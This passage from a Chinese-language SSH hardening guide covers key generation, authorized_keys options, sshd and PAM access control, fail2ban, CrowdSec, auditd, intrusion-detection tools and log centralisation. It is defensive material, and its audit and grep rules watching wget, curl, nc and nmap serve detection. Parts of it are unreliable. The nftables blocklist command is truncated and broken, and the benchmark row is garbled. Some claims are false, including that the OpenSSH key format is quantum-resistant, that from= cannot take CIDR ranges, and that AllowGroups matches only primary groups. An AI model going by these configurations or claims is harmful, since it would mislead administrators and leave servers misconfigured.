**ECDSA**（Elliptic Curve Digital Signature Algorithm）- **数学原理**：基于椭圆曲线离散对数难题——给定曲线上的点 P 和 $Q = kP$，求 k 是计算上不可行的

- **常用曲线**：P-256（secp256r1）、P-384、P-521
- **性能**：签名快，验证快，密钥小（256 bit = 32 字节）
- **历史地位**：NIST 标准，主流 SSH 实现支持
- **缺点**：曲线选择有政治敏感性（dual-EC-DRAG 后门事件），需要可信随机数生成（历史上出现过 SONY PS3 随机数问题导致 ECDSA 私钥恢复的著名事故）

**Ed25519**（Bernstein 等 2011 年提出）- **数学原理**：基于 Edwards 曲线上的 Schnorr 签名

- **性能**：**所有算法中最快**——签名、验证都比 RSA/ECDSA 快一个数量级
- **安全性**：128 bit 安全级别，没有已知的弱曲线问题
- **密钥大小**：公钥 32 字节、私钥 32 字节——极小
- **缺点**：相对较新（2011 年），但 OpenSSH 6.5+（2014 年）已支持，现在所有主流实现都支持

**实战推荐**：

```
# Ed25519（首选）
ssh-keygen -t ed25519 -a 100 -C "your_email@example.com"

# RSA（兼容性最佳）
ssh-keygen -t rsa -b 4096 -o -a 100 -C "your_email@example.com"

# ECDSA（次选）
ssh-keygen -t ecdsa -b 521 -C "your_email@example.com"
```

`-a 100` 参数的意思是对私钥进行 100 轮 KDF（Key Derivation Function）迭代，让暴力破解更困难（即便攻击者拿到加密的私钥文件）。

**不要使用**：DSA（已被淘汰）、1024 bit RSA（可被 NSA 等机构破解）、ECDSA-P-224/256 在不信任 NIST 时的备选。

### 3.2.4 ssh-keygen 参数详解

深入理解每个参数的含义：

| 参数 | 含义 | 推荐值 / 说明 |
|---|---|---|
| `-t` | 算法类型 | `rsa` / `dsa` / `ecdsa` / `ed25519`，选择决定密钥长度、签名性能、安全性 |
| `-b` | 密钥长度（仅 RSA/DSA） | RSA 推荐 3072 或 4096 bit，不要低于 2048，密钥越长越安全但越慢 |
| `-C` | 注释 | 通常写 email 或用途，不影响安全，仅做标识 |
| `-f` | 输出文件路径 | 默认 `~/.ssh/id_< 算法 >` 或 `~/.ssh/id_ed25519`，可自定义 |
| `-a` | KDF 轮数（保护私钥） | 默认 16，OpenSSH 7.8+ 提升到 100，越大越难暴力破解但加解密越慢 |
| `-o` | 使用新的 OpenSSH 格式 | 旧版用 PEM，新版用 OpenSSH 专属格式（更紧凑、抗量子），**应当启用** |
| `-E` | 指纹哈希算法 | 默认 SHA-256（OpenSSH 6.8+），老版本可能默认 MD5，应避免 |
| `-N` | 私钥 passphrase（密码短语） | **强烈推荐设置**——即便私钥文件被偷，没有 passphrase 攻击者仍然不能直接用；私钥文件本身被对称加密 |

**实战命令**：

```
# 推荐的 Ed25519 生成
ssh-keygen -t ed25519 -a 100 -C "axu@leisurelinux.com" -f ~/.ssh/id_ed25519

# 多个密钥管理（不同用途）
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_work -C "work"
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_personal -C "personal"

# 在 ~/.ssh/config 中配置不同密钥
cat >> ~/.ssh/config << 'EOF'
Host work-server
    HostName work.example.com
    User axu
    IdentityFile ~/.ssh/id_ed25519_work

Host github.com
    User git
    IdentityFile ~/.ssh/id_ed25519_personal
EOF
```

### 3.2.5 from= 在 authorized_keys 中的安全语义

`authorized_keys` 是服务器端的信任列表，每行一个公钥。`from=` 参数用来限制**该公钥只能从特定 IP/域名登录**：

```
# 仅允许从公司 IP 网段登录
from="10.0.0.*,*.leisurelinux.com" ssh-ed25519 AAAA... user@host

# 多个 IP 用逗号分隔，支持通配符和 ? 匹配
from="*.internal,192.168.1.0/24" ssh-ed25519 AAAA...

# 注意：from= 不是 CIDR，是 glob 匹配，192.168.1.0/24 不会按预期工作
# 正确写法是逐段写：from="192.168.1.*"
```

**安全意义**：即便私钥泄露，攻击者也必须从指定 IP 登录——这等于加了一层网络层防护。

**注意**：

- from= 是”软限制”，可以用 DNS rebinding、IP 伪造等方式绕过（除非配合防火墙）
- 真正严格的做法是**同时在 sshd_config 和 iptables 层双重限制**
- from= 不是 CIDR 语法，是 glob 匹配——很多新手会搞错

### 3.2.6　command= / forced-command 的滥用与防护

authorized_keys 中还能指定 command= 参数——**强制该公钥登录后只能执行特定命令**：

```
# 强制该公钥只能执行 backup 脚本
command="/usr/local/bin/backup.sh" ssh-ed25519 AAAA... backup-runner@host
```

**用途**：

- 给 CI/CD 系统一个只能跑特定脚本的密钥
- 给 SFTP 用户限制只能访问特定目录
- 给运维自动化一个无 shell 登录权限的密钥

**滥用风险**：

- 配置错误的 command= 可能被绕过（如 sshd 启动时 environment 设置、shell 启动文件执行）
- 早期 OpenSSH 版本有过 command= 被忽略的 bug
- 命令本身的权限过大——command="cat /etc/passwd" 就是灾难

**防护**：

- command= 必须配合 no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty
- 即便如此，**绝对不要用 command= 替代正常的用户权限管理**——它是一个补充，不是替代

**完整示例**：

```
# 安全的 CI/CD 密钥：仅允许备份命令，无任何 shell 能力
command="/usr/local/bin/run-backup.sh",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAA... ci-runn
```

### 3.2.7　多密钥策略：个人密钥 vs 自动化密钥 vs 应急密钥

单一密钥有”单点失效”问题——一旦泄露，所有机器失守。**纵深原则要求密钥分层**：

**个人日常密钥**（高安全级）- Ed25519 + 强 passphrase - 设置 from= 限制登录 IP - 配置定期轮换（建议每 6-12 个月）- 配备 YubiKey 等硬件密钥（私钥永不落盘）

**自动化密钥**（CI/CD 专用）- 单独生成，与个人密钥隔离 - 设置 command=、no-port-forwarding 等限制 - 集中存放在 Vault 等密钥管理系统 - 短有效期，配合签名证书（短期凭证）

**应急密钥**（保命用）- 单独保管在离线介质（加密 USB、智能卡）- 仅在主密钥失效时使用 - 配备单独的强 passphrase（不与其他密码共用）- 一旦启用，立即重新评估所有其他密钥

**多密钥的 ssh config 管理**：

```
# ~/.ssh/config
Host *
    AddKeysToAgent yes
    HashKnownHosts yes

Host prod-*
    IdentityFile ~/.ssh/id_ed25519_work
    IdentitiesOnly yes
    User ops

Host emergency
    HostName emergency.leisurelinux.com
    IdentityFile ~/.ssh/id_ed25519_emergency
    User root
    # 这个 host 必须显式指定才能用
```

IdentitiesOnly yes 是关键——它强制 SSH **只用指定密钥尝试认证**，不会被 ssh-agent 里其他密钥干扰（避免被服务端用于 fingerprint 探测）。

## 3.3 第 3 层：访问控制

认证解决”是不是这个人”，访问控制解决”这个人能做哪些事”。

### 3.3.1 AllowUsers / AllowGroups / DenyUsers 的语义陷阱

sshd_config 中这几个指令看似简单，实际上有微妙差异：

```
# 仅允许指定用户登录
AllowUsers axu alice bob

# 仅允许指定组的成员登录
AllowGroups ssh-users devops

# 拒绝指定用户（其他允许）
DenyUsers root admin test
```

**优先级陷阱**：

- DenyUsers 比 AllowUsers 优先级**更高**——一旦拒绝，即便在 AllowUsers 列表里也无效
- AllowUsers / AllowGroups 是”白名单”——只允许列表中的，其他全部拒绝
- DenyUsers 是”黑名单”——只拒绝列表中的，其他允许
- **不要混用**——白名单和黑名单混用会产生逻辑混乱

**语义陷阱**：

- AllowUsers axu 匹配的是**用户名**，不是 UID——用户名重复会被忽略
- AllowGroups ssh-users 匹配的是用户**主组**，不是附加组
- 不写 AllowUsers / AllowGroups = 不限制 = 默认全部允许

**最佳实践**：

```
# sshd_config 推荐配置
AllowGroups ssh-users wheel        # 仅这两个组的成员能 SSH 登录
PermitRootLogin no                  # 永远禁止 root 直接登录
MaxAuthTries 3                      # 最多 3 次认证尝试
LoginGraceTime 30                   # 30 秒内必须完成认证
MaxSessions 5                       # 每个连接最多 5 个会话
```

### 3.3.2 非 root 登录 + sudo 提权的纵深价值

**禁止 root SSH 登录**（PermitRootLogin no）是 SSH 安全的**最基本也是最重要**的配置之一。原因：

1. **用户名隐藏**：root 是已知用户名，攻击者无需枚举；如果 root 都不能登录，攻击者必须先猜出有效的普通用户名——难度翻倍
2. **审计粒度**：每个用户登录都有独立日志；root 直接登录让审计变成”是 root 干的”，但不知道是谁
3. **纵深**：攻击者拿到普通账号后还要提权，而提权本身就是一个防御层
4. **配置变更可追溯**：所有 sudo 操作都有日志，可以定位到具体用户

**sudo 的纵深配置**：

```
# /etc/sudoers（用 visudo 编辑!）
# 仅允许 wheel 组通过 sudo 提权
%wheel ALL=(ALL) ALL

# 强制记录所有 sudo 操作
Defaults log_host, log_year, logfile=/var/log/sudo.log

# 限制环境变量传递（防止 LD_PRELOAD 等攻击）
Defaults env_reset
Defaults secure_path = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# 限制 sudo 超时时间（避免忘记退出）
Defaults timestamp_timeout=5
```

**更严格的做法**：限制特定用户只能 sudo 执行特定命令：

```
# 让 ops 用户只能 sudo 重启服务
ops ALL=(root) /usr/bin/systemctl restart nginx, /usr/bin/systemctl status nginx

# 这样即便 ops 账号被攻破，攻击者也只能重启 nginx，不能 rm -rf /
```

### 3.3.3　PAM 栈原理：SSH 如何通过 PAM 调用系统认证

**PAM（Pluggable Authentication Modules，可插拔认证模块）**是 Linux 认证体系的核心。SSH 并不直接做密码验证，它把认证委托给 PAM。

**PAM 栈的工作原理**：

```
sshd 接收认证请求
  ↓
调用 PAM 库（libpam）
  ↓
按配置文件顺序加载 PAM 模块
  ↓
每个模块返回 success / failure / ignore
  ↓
最终结果返回给 sshd
```

**PAM 配置文件路径**：

- `/etc/pam.d/sshd` ——SSH 专用配置
- `/etc/pam.d/login` ——本地登录
- `/etc/pam.d/common-auth` ——通用认证（被多个服务 include）

**典型 sshd 的 PAM 配置**：

```
# /etc/pam.d/sshd
auth       required   pam_env.so
auth       sufficient pam_unix.so nullok try_first_pass
auth       required   pam_deny.so

account    required   pam_unix.so
session    required   pam_limits.so
session    optional   pam_lastlog.so
```

**关键词含义**：

- `required`：失败则最终失败，但继续评估后续模块（防止用户知道具体哪一步失败）
- `requisite`：失败立即终止（明确报错）
- `sufficient`：成功则立即通过，跳过后续
- `optional`：无论成功失败都不影响最终结果

**UsePAM 的作用**：

```
# sshd_config
UsePAM yes   # 让 SSH 使用 PAM 栈（默认开启）
```

**关闭 UsePAM 的后果**：

- 不能用 PAM 模块（包括 2FA、密码策略、登录限制等）
- 只能依赖 sshd 内置的认证机制
- **生产环境必须开启**

### 3.3.4　PAM 模块深度定制：pam_access、pam_listfile、pam_tally2

**pam_access**：基于主机/用户/域限制登录

```
# /etc/security/access.conf
# 拒绝所有来自 evil.com 的用户
-:ALL EXCEPT root:evil.com
```

```
# 仅允许 wheel 组从特定网段登录
+:wheel:10.0.0.0/24
-:ALL:ALL
```

**pam_listfile**：基于文件列表限制（如禁止特定用户）

```
# /etc/pam.d/sshd 增加：
auth required pam_listfile.so onerr=succeed item=user sense=deny file=/etc/ssh/banned_users
```

**pam_tally2 / pam_faillock**：登录失败计数器

```
# 失败 5 次锁定 30 分钟
auth required pam_faillock.so preauth deny=5 unlock_time=1800
auth sufficient pam_unix.so nullok try_first_pass
auth required pam_faillock.so authfail deny=5 unlock_time=1800
```

**实战组合拳**：

```
# 在 PAM 中实现：仅允许 ops 和 dev 组成员从内网登录，失败 3 次锁定
auth required pam_env.so
auth required pam_listfile.so item=group sense=allow file=/etc/ssh/allowed_groups onerr=fail
auth required pam_access.so accessfile=/etc/security/access.conf
auth required pam_faillock.so preauth deny=3 unlock_time=900 even_deny_root
auth sufficient pam_unix.so nullok try_first_pass
auth required pam_faillock.so authfail deny=3 unlock_time=900
auth required pam_deny.so
```

**注意**：在不同 Linux 发行版上 PAM 模块名略有差异，Debian/Ubuntu 用 `pam_tally2`，RHEL/CentOS 新版用 `pam_faillock`。

### 3.3.5 UsePAM / ChallengeResponseAuthentication / KerberosAuthentication 的取舍

sshd_config 中几个认证相关的开关容易混淆：

```
UsePAM yes                      # 是否使用 PAM（默认 yes）
PasswordAuthentication no       # 是否允许密码认证（推荐 no）
ChallengeResponseAuthentication no  # 是否允许 challenge-response（如键盘交互式）
PubkeyAuthentication yes        # 是否允许密钥认证（推荐 yes）
KbdInteractiveAuthentication no   # 是否允许键盘交互认证（通常 no）
KerberosAuthentication no       # 是否使用 Kerberos（默认 no）
GSSAPIAuthentication no         # GSSAPI 认证（默认 no）
```

**典型误配置**：

- `PasswordAuthentication no` 但 `ChallengeResponseAuthentication yes` ——攻击者仍然可以通过键盘交互式认证输入密码（绕过你的禁止密码设置）
- `PubkeyAuthentication no` 但 `PasswordAuthentication yes` ——退化成密码认证
- `UsePAM no` ——禁用所有 PAM 模块，2FA、限制等都失效

**安全推荐配置**：

```
# 仅密钥 + PAM（含可能的 2FA）
UsePAM yes
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
KbdInteractiveAuthentication no
PermitEmptyPasswords no
KerberosAuthentication no
GSSAPIAuthentication no
```

### 3.3.6　MaxAuthTries / LoginGraceTime / MaxSessions 的安全语义

```
MaxAuthTries 3            # 每个连接最多允许的认证尝试次数
LoginGraceTime 30         # 认证超时时间（秒）
MaxSessions 10            # 每个网络连接允许的会话数
MaxStartups 3:50:10       # 并发未认证连接数限制
ClientAliveInterval 300   # 空闲超时（秒）
ClientAliveCountMax 2     # 多少次空闲探测后断开
```

**安全语义**：

- **MaxAuthTries 3**：每次连接允许最多 3 次失败，超过就断开。这限制了**单连接**的暴力破解速率
- **LoginGraceTime 30**：30 秒内未完成认证则断开。这防止攻击者慢速扫描”测探”协议细节
- **MaxSessions 10**：一个 SSH 连接最多开启 10 个会话（通道复用）。限制过大可能让攻击者用一条连接跑很多操作
- **MaxStartups 3:50:10**：未认证连接数限制。“3:50:10”表示开始 3 个，后续每多一个连接增加 50% 概率拒绝，达到 10 个时全部拒绝。这防止 SYN flood
- **ClientAliveInterval + ClientAliveCountMax**：超时断开闲置连接

**注意**：

- MaxAuthTries **是每连接的次数**，不是每 IP 的总数——分布式攻击不会触发
- LoginGraceTime 太短会让网络慢的用户认证失败
- MaxSessions 限制太严格会影响多路复用

## 3.4　第 4 层：主动阻断

即便认证加固做得再好，攻击者还是会反复尝试。我们需要**主动阻断**让攻击者付出代价。

### 3.4.1　fail2ban 的原理：日志正则 + 防火墙联动

**fail2ban**（fail2ban.org）是 SSH 防护的事实标准之一。它的原理很简单：

1. 监控日志文件（/var/log/secure、/var/log/auth.log）
2. 用正则表达式匹配失败登录
3. 累计失败次数达到阈值 → 调用防火墙封禁 IP
4. 一段时间后解封

**核心组件**：

- **jail**：定义”监控哪个日志、匹配什么正则、阈值多少、封禁多久”
- **filter**：正则表达式集合（一个 filter 对应一种攻击模式）
- **action**：封禁动作（iptables / nftables / hostsdeny / 邮件通知 / 自定义脚本）

**默认 SSH jail 配置**（/etc/fail2ban/jail.conf 或 jail.local）：

```
[DEFAULT]
# 5 次失败封禁 1 小时
bantime  = 1h
findtime = 10m
maxretry = 5

# 忽略自己
ignoreip = 127.0.0.1/8 ::1

[sshd]
enabled = true
port    = ssh
filter  = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
```

### 3.4.2 fail2ban 深度配置

**recidive 监狱**：防止”被解封后立刻回来”

```
[recidive]
enabled  = true
filter   = recidive
logpath  = /var/log/fail2ban.log
bantime  = 1w
findtime = 1d
maxretry = 5
# recidive 会扫描 fail2ban 自己的日志，看哪些 IP 多次被封
# 多次被封的 IP → 长期封禁
```

**bantime.increment**：渐进式封禁时长

```
[DEFAULT]
bantime.increment = true
# 第一次封禁 1 小时，第二次 2 小时，第三次 4 小时... 指数增长
# 攻击者持续尝试的成本指数上升
```

**ignoreip 的合理使用**：

```
# 忽略可信 IP（公司出口、堡垒机、监控 IP）
ignoreip = 127.0.0.1/8 ::1 10.0.0.0/8 192.168.0.0/16 1.2.3.4
```

**自定义 SSH filter**：默认的 sshd filter 可能漏掉一些攻击模式，可以扩展：

```
# /etc/fail2ban/filter.d/sshd-custom.conf
[Definition]
failregex = ^%(__prefix_line)sFailed \S+ for invalid user \S+ from <HOST> port \d+ ssh2$
            ^%(__prefix_line)sConnection closed by authenticating user \S+ <HOST> port \d+
            ^%(__prefix_line)sInvalid user \S+ from <HOST>
            ^%(__prefix_line)sDid not receive identification string from <HOST>
            ^%(__prefix_line)sConnection reset by <HOST>

ignoreregex =
```

### 3.4.3 CrowdSec 的架构升级：去中心化威胁情报

fail2ban 的局限很明显：它是单机决策，没有跨机器的情报共享。**CrowdSec**（crowdsec.net）就是为了解决这个问题。

**CrowdSec 的核心创新**：

```
本地检测 → 决策（ban）→ 上报攻击者 IP 到中心
                              ↓
                    其他 CrowdSec 实例同步该 IP
                              ↓
                          全网共享威胁情报
```

**架构组件**：

- **Agent（本地代理）**：每台机器运行，分析本地日志
- **Local API（LAPI）**：本地 API，存储本地的 ban 决策
- **Central API（CAPI）**：CrowdSec 官方中心 API，跨社区共享威胁情报
- **Bouncers**：执行 ban 动作（iptables、nginx、Cloudflare 等）

**与传统 fail2ban 的对比**：

| 维度 | fail2ban | CrowdSec |
|---|---|---|
| 决策范围 | 单机 | 单机 + 跨机器 |
| 威胁情报 | 无 | CAPI 共享 |
| 扩展性 | 中等 | 高（多语言 parser） |
| 性能开销 | 低 | 中等（Go 重写） |

| 维度 | fail2ban | CrowdSec |
|---|---|---|
| 社区生态 | 大 | 快速增长 |
| 学习曲线 | 低 | 中等 |

**适用场景**：

- 单机/小团队：fail2ban 足够
- 多机器/中型企业：CrowdSec 显著优于 fail2ban
- 跨地域/多云：CrowdSec + CAPI 是最优解

### 3.4.4　SSH 黑名单订阅

除了 fail2ban/CrowdSec 的”自动检测”，还可以**主动订阅已知恶意 IP 的黑名单**：

- **FireHOL**（firehol.org）：整合了 30+ 个公开黑名单的 curated 列表
- **Spamhaus DROP/EDROP**：Spamhaus 维护的”don’t route or peer”列表，针对已知恶意 IP
- **Emerging Threats**（rules.emergingthreats.net）：ET 维护的 compromised/blocked IP 列表
- **AbuseIPDB**（abuseipdb.com）：社区上报的恶意 IP
- **CINS Army**（cinsscore.com）：基于多源的恶意 IP 评分

**在 nftables 中订阅黑名单**：

```
#!/bin/bash
# /usr/local/bin/update-ssh-blacklist.sh

# 下载并合并黑名单
{
  curl -s https://iplists.firehol.org/files/firehol_level1.netset
  curl -s https://www.spamhaus.org/drop/drop.txt | awk '{print $1}'
} | sort -u > /tmp/ssh_blacklist.txt

# 用 nft set 替换
nft replace set inet filter ssh_blacklist "{ type ipv4_addr; flags interval; elements = { $(cat /tmp/ssh_blacklist.txt | tr '\n' '

# 在 input chain 中 drop
nft add rule inet filter input ip saddr @ssh_blacklist drop
```

**注意**：订阅公开黑名单可能误伤（false positive）——某些 IP 可能被错误列入。要定期审查白名单。

### 3.4.5　iptables vs nftables 在 fail2ban 中的性能与特性对比

**iptables 现状**：

- 老牌、文档丰富、绝大多数运维熟悉
- 单机规则数 $< 1$ 万条时性能良好
- 大量规则时**线性匹配**导致性能下降
- ipset 解决了部分性能问题（哈希集合）

**nftables 现状**：

- iptables 的下一代，由同团队开发
- 内置集合（set）+ 哈希查找，大规则集性能优势明显
- 语法更现代、支持原子替换
- 与 RHEL 8+ / Debian 10+ / Ubuntu 20.04+ 集成良好

**性能数据**（来自 nftables 官方 benchmark）：

- 1 万条规则：iptables　nftables
- 10 万条规则：nftables 比 iptables 快 5-10 倍
- 100 万条规则：nftables 优势更明显

**fail2ban 的选择建议**：

- < 1000 个被封 IP：iptables + ipset 足够
- 1000-100000 个被封 IP：nftables 更优
- 100000 个被封 IP：考虑使用 ipset/nft set 的 hash 模式而非 bitmap

### 3.4.6 ipset 在大规模封禁中的优势

**ipset**（ipset.netfilter.org）是 iptables 的扩展，用于管理大量 IP/CIDR/port 集合：

```
# 创建 hash:net 类型集合（IPv4 网段）
ipset create ssh_blacklist hash:net hashsize 4096 maxelem 100000

# 添加 IP 到集合
ipset add ssh_blacklist 1.2.3.0/24

# iptables 引用集合（单条规则处理整个集合）
iptables -A INPUT -m set --match-set ssh_blacklist src -j DROP
```

**优势**：

- 单条 iptables 规则匹配整个集合（哈希查找 O(1)）
- 支持自动过期（timeout 参数）
- 支持多类型（hash:ip、hash:net、hash:port、hash:mac 等）

**nftables 等价**：

```
# 创建集合
nft add set inet filter ssh_blacklist "{ type ipv4_addr; flags interval; }"

# 添加 IP
nft add element inet filter ssh_blacklist { 1.2.3.4, 5.6.7.0/24 }

# 引用
nft add rule inet filter input ip saddr @ssh_blacklist drop
```

**实战推荐**：在大型生产环境，用 ipset 或 nftables 的 set 管理 fail2ban/CrowdSec 的封禁列表。

## 3.5 第 5 层：入侵检测

前四层是”挡住攻击者”，第五层是”看到攻击者”——即便所有防线都失败，攻击者开始行动了，我们要能立刻知道。

### 3.5.1 auditd 的内核机制：Linux Audit Subsystem 原理

**auditd**（Linux Audit Subsystem）是 Linux 内核级的审计框架，它能记录**细粒度**的系统调用和文件访问。

**核心原理**：

```
用户态程序（ls, cat, sshd）
  ↓
系统调用（execve, open, read, write）
  ↓
内核 Audit 子系统
  ↓
匹配规则 → 生成事件
  ↓
用户态 auditd 写入 /var/log/audit/audit.log
```

**关键能力**：

- 记录**谁**在**什么时候**对**什么文件**做了什么操作
- 监控**系统调用**（execve, open, connect, setuid 等）
- 监控**文件路径**（用 watch 规则）
- 监控**系统调用参数**（如 connect 的目标地址）

### 3.5.2 SSH 关键审计事件

**与 SSH 相关的 audit 事件**:

- **login**: 用户登录事件

  type=USER_LOGIN msg=audit(1234567890.123:456): user pid=1234 uid=0 auid=1000 ...

- **auth**: 认证尝试

  type=USER_AUTH msg=audit(...): user pid=... uid=... auid=... ...

- **pam**: PAM 模块调用

  type=USER_CMD msg=audit(...): user pid=... auid=... cmd=...

- **key_load**: SSH 密钥加载

  type=CRYPTO_KEY_USER msg=audit(...): user pid=... auid=... ...

- **execve**: 命令执行

  type=EXECVE msg=audit(...): argc=2 a0="bash" a1="script.sh"

- **socket_connect**: 网络连接（SSH 反向隧道检测）

**audit 规则示例**（/etc/audit/rules.d/audit.rules）:

```
# 监控 SSH 配置文件
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /etc/ssh/ssh_config -p wa -k ssh_config
-w /etc/ssh/ssh_host_ -p wa -k ssh_host_keys
-w /root/.ssh -p wa -k root_ssh_keys

# 监控用户 SSH 目录
-w /home/%u/.ssh -p wa -k user_ssh_keys

# 监控 sshd 可执行文件
-w /usr/sbin/sshd -p x -k sshd_exec

# 监控可疑命令
-w /usr/bin/wget -p x -k wget
-w /usr/bin/curl -p x -k curl
-w /bin/nc -p x -k netcat
-w /usr/bin/ssh -p x -k ssh_client

# 监控 systemd 服务创建
-w /etc/systemd -p wa -k systemd_config

# 监控 crontab
-w /etc/crontab -p wa -k crontab
-w /var/spool/cron -p wa -k crontab
```

### 3.5.3 ausearch / aureport 在 SSH 取证中的应用

**ausearch**: 搜索 audit 日志

```
# 查找某用户的 SSH 登录
ausearch -m USER_LOGIN -ua axu

# 查找最近 1 小时的 SSH 认证
ausearch -m USER_AUTH --start recent

# 查找 SSH 配置变更
ausearch -k sshd_config
```

```
# 查找所有 su/sudo 操作
ausearch -m USER_CMD
```

**aureport**：生成 audit 统计报告

```
# 登录统计
aureport -l

# 认证失败统计
aureport -au --failed

# 可疑命令统计
aureport -x --summary

# 按时间生成报告
aureport -t
```

**实战取证脚本**：

```
#!/bin/bash
# 当 SSH 被攻破时，第一时间收集证据
echo "=== 最近 24 小时登录用户 ==="
ausearch -m USER_LOGIN --start yesterday

echo "=== 最近 24 小时认证失败 ==="
ausearch -m USER_AUTH --start yesterday --failed

echo "=== 最近 24 小时所有执行的命令 ==="
ausearch -m EXECVE --start yesterday

echo "=== 可疑的关键命令 ==="
ausearch -m EXECVE --start yesterday | grep -E 'wget|curl|nc|ssh-keygen|nmap'
```

### 3.5.4 文件完整性监控：AIDE、Tripwire、Samhain 的差异

**AIDE**（Advanced Intrusion Detection Environment）- 开源、广泛使用 - 基于文件哈希 + 属性的完整性检查 - 配置灵活，支持忽略规则

**Tripwire**（开源版 + 商业版）- 经典 FIM（File Integrity Monitoring）工具 - 开源版功能受限，商业版功能完整 - 策略文件驱动

**Samhain** - 跨平台（Linux/Unix/Windows）- 支持集中管理（多个客户端 → 一个服务器）- 内置完整性数据库签名

**三者的对比**：

| 维度 | AIDE | Tripwire | Samhain |
|---|---|---|---|
| 开源 | 是 | 仅开源版 | 是 |
| 集中管理 | 需自建 | 商业版支持 | 原生支持 |
| 性能 | 中等 | 中等 | 较好 |
| 学习曲线 | 中等 | 中等偏高 | 中等 |
| 适用场景 | 中小规模 | 中大规模 | 跨主机环境 |

**AIDE 的实战配置**：

```
# /etc/aide/aide.conf
/etc Full
/bin Full
/sbin Full
/usr/sbin Full
/etc/ssh Full
/root/.ssh Full
/home/.*/.ssh Full
```

```
# 初始化数据库
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# 定期检查
aide --check

# 配合 cron 定期跑
echo "0 3 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' admin@example.com" > /etc/cron.d/aide
```

### 3.5.5　主机入侵检测：osquery、Wazuh、OSSEC 的架构对比

**osquery**（osquery.io）- 把操作系统暴露成 SQL 表 - 用 SQL 查询系统状态、进程、网络、文件 - 跨平台（Linux/macOS/Windows）- 由 Facebook 开源 - 适合实时监控、应急响应

**Wazuh**（wazuh.com）- 基于 OSSEC 的现代 HIDS - 完整的 SIEM 能力（日志聚合、告警、规则、可视化）- 内置合规检查（PCI DSS、HIPAA、GDPR）- 免费开源

**OSSEC**（ossec.net）- 老牌开源 HIDS - 文件完整性监控 + 日志分析 + rootkit 检测 - 客户端/服务器架构（C/S）- Wazuh 的前身

**三者的架构对比**：

```
osquery 架构:
  Agent（每台机器） → 本地 SQL 查询 / 推送到 Fleet 管理器
  ↓
  Fleet Manager（可选，osquery 出品的 Kolide Fleet 或商用 Uptycs 等）

Wazuh 架构:
  Agent（每台机器） → Indexer/OpenSearch → Dashboard
  ↓
  Server 集群（可选，多机 HA）

OSSEC 架构:
  Agent → Server（日志聚合、规则引擎、告警）
  ↓
  Server 生成告警（邮件/Syslog）
```

**选择建议**：

- **osquery**：技术驱动型团队、需要灵活查询、应急响应为主
- **Wazuh**：需要完整 SIEM、合规要求、多机器集中管理
- **OSSEC**：老牌稳定、资源占用小、小规模部署

### 3.5.6　异常登录检测：last、lastb、wtmp/btmp/utmp 的取证价值

Linux 中三个关键的日志文件：

- **/var/log/wtmp**：所有成功登录的记录（二进制）
- **/var/log/btmp**：所有失败登录的记录（二进制）
- **/var/run/utmp**：当前登录用户的信息（二进制）

**关键命令**：

```
# 最后 10 次成功登录
last -n 10

# 显示完整日期、IP
last -F -i

# 失败登录尝试
```

```
lastb -n 20

# 当前登录用户
who

# wtmp 中的所有登录
last -f /var/log/wtmp

# btmp 中的所有失败登录
lastb -f /var/log/btmp
```

**取证价值**：

- `wtmp` 不能轻易伪造（攻击者通常只清理日志，不清理二进制 wtmp——除非他知道怎么操作）
- `btmp` 是判断”暴力破解尝试次数”的最直接数据
- `last -i` 显示 IP，可以做地理分布分析

**注意**：攻击者往往会 `echo > /var/log/wtmp` 清空日志，或者用专用工具（如 utmpcleaner）伪造 wtmp 条目。**审计的最后防线是 auditd 的二进制日志 + 远程日志聚合**。

### 3.5.7 Rootkit 检测：rkhunter、chkrootkit 的局限

**rkhunter**（rkhunter.sourceforge.net）- 检查已知 rootkit 特征 - 检查文件/目录的异常属性（SUID、隐藏属性）- 检查常见命令是否被替换（ls、ps、netstat）

**chkrootkit**（chkrootkit.org）- 检查已知 rootkit - 检查字符串异常 - 检查网络接口的 promiscuous 模式

**两者的局限**：

- **基于特征库**——对未公开 rootkit 完全失效
- **对内核级 rootkit 几乎无效**——LKM rootkit 可以 hook 系统调用，绕过一切用户态检测
- **高级攻击者会主动规避**——修改 rkhunter 的特征库、hook 系统调用、修改 ls 输出

**更强的 rootkit 检测**：

- **内核完整性检查**：用 Linux 的 IMA（Integrity Measurement Architecture）
- **离线扫描**：从另一个可信系统启动扫描
- **UEFI/固件级检查**：Secure Boot、TPM 远程证明

**实战建议**：

- rkhunter 和 chkrootkit 作为基础检查（每周跑一次）
- 但不要把它们当作”核心防御”——它们的真正价值是”发现粗心攻击者”

## 3.6 第 6 层：审计与响应

最后一层是**审计与响应**——即便前面所有层都被绕过，我们也要能快速发现、快速止血、快速复盘。

### 3.6.1 日志集中架构：rsyslog → ELK / Loki + Grafana

**为什么必须集中日志**：

- 攻击者拿到 root 后第一件事就是清理本地日志（`/var/log/secure`、`/var/log/wtmp`、`history`）
- 集中的日志在另一台机器上，攻击者清理不到
- 集中后才能做关联分析（一个用户的多台机器的 SSH 活动）

**架构选择**：

**ELK Stack**（Elasticsearch + Logstash + Kibana）- 主流选择 - Elasticsearch 强查询能力 - Kibana 可视化强 - 资源占用大（每节点建议 16GB+ 内存）

**Loki + Grafana** - Grafana Labs 出品 - 类似 Prometheus 的标签索引 - 资源占用小 - 适合云原生环境

**Vector + ClickHouse** - 新派选择 - 高性能、低资源 - SQL 查询

**rsyslog 集中配置示例**：

```
# /etc/rsyslog.d/remote.conf（客户端）
# 把 auth 日志发到中心服务器
auth.* @@logserver.example.com:514

# /etc/rsyslog.conf（服务端）
# 接收远程日志
module(load="imtcp")
input(type="imtcp" port="514")

# 单独存储 SSH 认证日志
:inputname, contains, "sshd" /var/log/remote/sshd.log
```

**注意**：用 TLS 加密 rsyslog 传输，避免日志明文在网络上传输。

### 3.6.2　SSH 日志关联分析

**单条日志的价值有限，关联才有价值**：

- 同一时间窗口内，登录成功 + 立即执行高危命令 → **高优先级告警**
- 同一用户从两个不同地理位置登录 → **中优先级告警（可能是 session 复用或账号被盗）**
